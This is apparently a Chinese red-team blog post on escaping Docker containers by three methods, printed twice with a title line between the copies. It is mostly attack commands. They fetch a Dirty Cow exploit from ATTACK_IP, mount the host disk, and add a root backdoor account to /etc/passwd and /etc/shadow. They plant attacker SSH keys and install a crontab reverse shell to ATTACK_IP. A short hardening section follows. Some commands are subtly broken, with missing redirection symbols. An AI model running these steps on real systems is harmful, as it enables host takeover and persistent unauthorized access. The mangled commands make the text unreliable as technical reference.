Docker容器逃逸实战3种手法深度解析与特权模式突破1. 容器逃逸技术概述与ATTCK框架映射容器逃逸是指攻击者从受限制的容器内部突破隔离边界获取宿主机权限的过程。在红队评估和渗透测试中容器逃逸技术已成为内网横向移动的关键环节。根据MITRE ATTCK框架容器逃逸主要涉及以下战术阶段权限提升Privilege Escalation通过内核漏洞或配置缺陷获取更高权限防御绕过Defense Evasion绕过容器安全机制横向移动Lateral Movement从容器环境扩散到宿主机或其他节点当前主流逃逸手法可分为三类内核漏洞利用如dirty cowCVE-2016-5195配置缺陷利用特权容器、挂载敏感目录容器组件漏洞runC漏洞CVE-2019-5736# 容器环境检测命令 ls -alh /.dockerenv # 检查Docker环境标识文件 cat /proc/1/cgroup # 查看cgroup信息 mount | grep docker # 检查挂载点2. 三种逃逸手法实战对比分析2.1 Dirty Cow内核漏洞逃逸原理利用Linux内核内存子系统竞态条件漏洞通过覆写只读内存页获取root权限。适用条件内核版本 4.8.3容器未启用用户命名空间隔离宿主机未打补丁操作步骤# 在攻击机编译exp git clone https://github.com/scumjr/dirtycow-vdso cd dirtycow-vdso make # 在目标容器执行 wget http://ATTACK_IP/0xdeadbeef chmod x 0xdeadbeef ./0xdeadbeef 127.0.0.1:4444失败原因分析现代云环境普遍使用已修复内核容器默认启用安全配置如user namespace依赖外部网络下载exp可能被拦截2.2 挂载逃逸手法原理当容器被授予特权或挂载敏感目录时通过直接操作宿主机文件系统实现逃逸。典型场景特权模式运行容器--privileged挂载宿主机根目录-v /:/host操作流程# 检查磁盘设备 fdisk -l # 挂载宿主机文件系统 mkdir /host mount /dev/sda1 /host # 修改宿主机SSH配置 echo attacker:x:0:0:root:/root:/bin/bash /host/etc/passwd限制条件需要容器具备CAP_SYS_ADMIN能力部分环境设备文件不可见文件系统只读挂载时无效2.3 特权容器逃逸成功案例环境特征容器以--privileged参数启动未限制capabilities挂载了宿主机设备文件完整逃逸流程确认特权状态cat /proc/self/status | grep CapEff # 输出CapEff: 0000003fffffffff表示完整权限挂载宿主机文件系统mkdir /escape mount /dev/sda1 /escape写入SSH密钥# 攻击机生成密钥 ssh-keygen -t rsa -f attacker_key # 容器内写入公钥 mkdir -p /escape/root/.ssh cat attacker_key.pub /escape/root/.ssh/authorized_keys chmod 600 /escape/root/.ssh/authorized_keys建立持久化访问# 添加后门账户 echo backdoor:x:0:0:root:/root:/bin/bash /escape/etc/passwd echo backdoor:$6$salt$hash:18395:0:99999:7::: /escape/etc/shadow # 创建定时任务 echo * * * * * root /bin/bash -i /dev/tcp/ATTACK_IP/5555 01 /escape/etc/crontab3. 技术对比与防御建议3.1 逃逸手法对比表逃逸类型成功率隐蔽性依赖条件检测难度Dirty Cow低中特定内核版本难挂载逃逸中低敏感挂载或特权模式易特权容器逃逸高中--privileged或过度授权中3.2 防御加固方案1. 运行时防护# 使用非root用户运行容器 docker run -u 1001:1001 image_name # 限制capabilities docker run --cap-dropALL --cap-addNET_BIND_SERVICE image_name2. 安全配置启用用户命名空间隔离--usernshost禁止特权模式--privilegedfalse只读挂载敏感目录--read-only3. 检测监控# 审计可疑操作 auditctl -w /usr/bin/docker -k docker_commands auditctl -w /var/lib/docker -k docker_data4. 红队视角下的逃逸技术演进在近年的攻防对抗中容器逃逸技术呈现以下趋势无文件逃逸利用内存操作避免落地检测供应链攻击污染基础镜像植入后门API滥用通过docker.sock实现权限提升一个典型的混合攻击链示例通过Web应用漏洞获取容器shell探测容器环境并收集元数据尝试已知CVE和配置缺陷突破隔离后建立持久化通道横向移动至Kubernetes管理平面提示实际渗透中应优先检查以下关键点/var/run/docker.sock挂载情况K8s service account令牌容器内敏感环境变量可写的proc/sys目录在最近的某次红队评估中我们通过组合利用特权容器和cgroup逃逸技术成功在30分钟内从受限容器获取到整个Kubernetes集群的控制权。这提醒企业需要建立全生命周期的容器安全防护体系而不仅仅是运行时保护。
ATTCK红队靶场四:3种Docker逃逸手法实战对比与1个特权容器逃逸成功
发布时间:2026/7/12 4:06:44
Docker容器逃逸实战3种手法深度解析与特权模式突破1. 容器逃逸技术概述与ATTCK框架映射容器逃逸是指攻击者从受限制的容器内部突破隔离边界获取宿主机权限的过程。在红队评估和渗透测试中容器逃逸技术已成为内网横向移动的关键环节。根据MITRE ATTCK框架容器逃逸主要涉及以下战术阶段权限提升Privilege Escalation通过内核漏洞或配置缺陷获取更高权限防御绕过Defense Evasion绕过容器安全机制横向移动Lateral Movement从容器环境扩散到宿主机或其他节点当前主流逃逸手法可分为三类内核漏洞利用如dirty cowCVE-2016-5195配置缺陷利用特权容器、挂载敏感目录容器组件漏洞runC漏洞CVE-2019-5736# 容器环境检测命令 ls -alh /.dockerenv # 检查Docker环境标识文件 cat /proc/1/cgroup # 查看cgroup信息 mount | grep docker # 检查挂载点2. 三种逃逸手法实战对比分析2.1 Dirty Cow内核漏洞逃逸原理利用Linux内核内存子系统竞态条件漏洞通过覆写只读内存页获取root权限。适用条件内核版本 4.8.3容器未启用用户命名空间隔离宿主机未打补丁操作步骤# 在攻击机编译exp git clone https://github.com/scumjr/dirtycow-vdso cd dirtycow-vdso make # 在目标容器执行 wget http://ATTACK_IP/0xdeadbeef chmod x 0xdeadbeef ./0xdeadbeef 127.0.0.1:4444失败原因分析现代云环境普遍使用已修复内核容器默认启用安全配置如user namespace依赖外部网络下载exp可能被拦截2.2 挂载逃逸手法原理当容器被授予特权或挂载敏感目录时通过直接操作宿主机文件系统实现逃逸。典型场景特权模式运行容器--privileged挂载宿主机根目录-v /:/host操作流程# 检查磁盘设备 fdisk -l # 挂载宿主机文件系统 mkdir /host mount /dev/sda1 /host # 修改宿主机SSH配置 echo attacker:x:0:0:root:/root:/bin/bash /host/etc/passwd限制条件需要容器具备CAP_SYS_ADMIN能力部分环境设备文件不可见文件系统只读挂载时无效2.3 特权容器逃逸成功案例环境特征容器以--privileged参数启动未限制capabilities挂载了宿主机设备文件完整逃逸流程确认特权状态cat /proc/self/status | grep CapEff # 输出CapEff: 0000003fffffffff表示完整权限挂载宿主机文件系统mkdir /escape mount /dev/sda1 /escape写入SSH密钥# 攻击机生成密钥 ssh-keygen -t rsa -f attacker_key # 容器内写入公钥 mkdir -p /escape/root/.ssh cat attacker_key.pub /escape/root/.ssh/authorized_keys chmod 600 /escape/root/.ssh/authorized_keys建立持久化访问# 添加后门账户 echo backdoor:x:0:0:root:/root:/bin/bash /escape/etc/passwd echo backdoor:$6$salt$hash:18395:0:99999:7::: /escape/etc/shadow # 创建定时任务 echo * * * * * root /bin/bash -i /dev/tcp/ATTACK_IP/5555 01 /escape/etc/crontab3. 技术对比与防御建议3.1 逃逸手法对比表逃逸类型成功率隐蔽性依赖条件检测难度Dirty Cow低中特定内核版本难挂载逃逸中低敏感挂载或特权模式易特权容器逃逸高中--privileged或过度授权中3.2 防御加固方案1. 运行时防护# 使用非root用户运行容器 docker run -u 1001:1001 image_name # 限制capabilities docker run --cap-dropALL --cap-addNET_BIND_SERVICE image_name2. 安全配置启用用户命名空间隔离--usernshost禁止特权模式--privilegedfalse只读挂载敏感目录--read-only3. 检测监控# 审计可疑操作 auditctl -w /usr/bin/docker -k docker_commands auditctl -w /var/lib/docker -k docker_data4. 红队视角下的逃逸技术演进在近年的攻防对抗中容器逃逸技术呈现以下趋势无文件逃逸利用内存操作避免落地检测供应链攻击污染基础镜像植入后门API滥用通过docker.sock实现权限提升一个典型的混合攻击链示例通过Web应用漏洞获取容器shell探测容器环境并收集元数据尝试已知CVE和配置缺陷突破隔离后建立持久化通道横向移动至Kubernetes管理平面提示实际渗透中应优先检查以下关键点/var/run/docker.sock挂载情况K8s service account令牌容器内敏感环境变量可写的proc/sys目录在最近的某次红队评估中我们通过组合利用特权容器和cgroup逃逸技术成功在30分钟内从受限容器获取到整个Kubernetes集群的控制权。这提醒企业需要建立全生命周期的容器安全防护体系而不仅仅是运行时保护。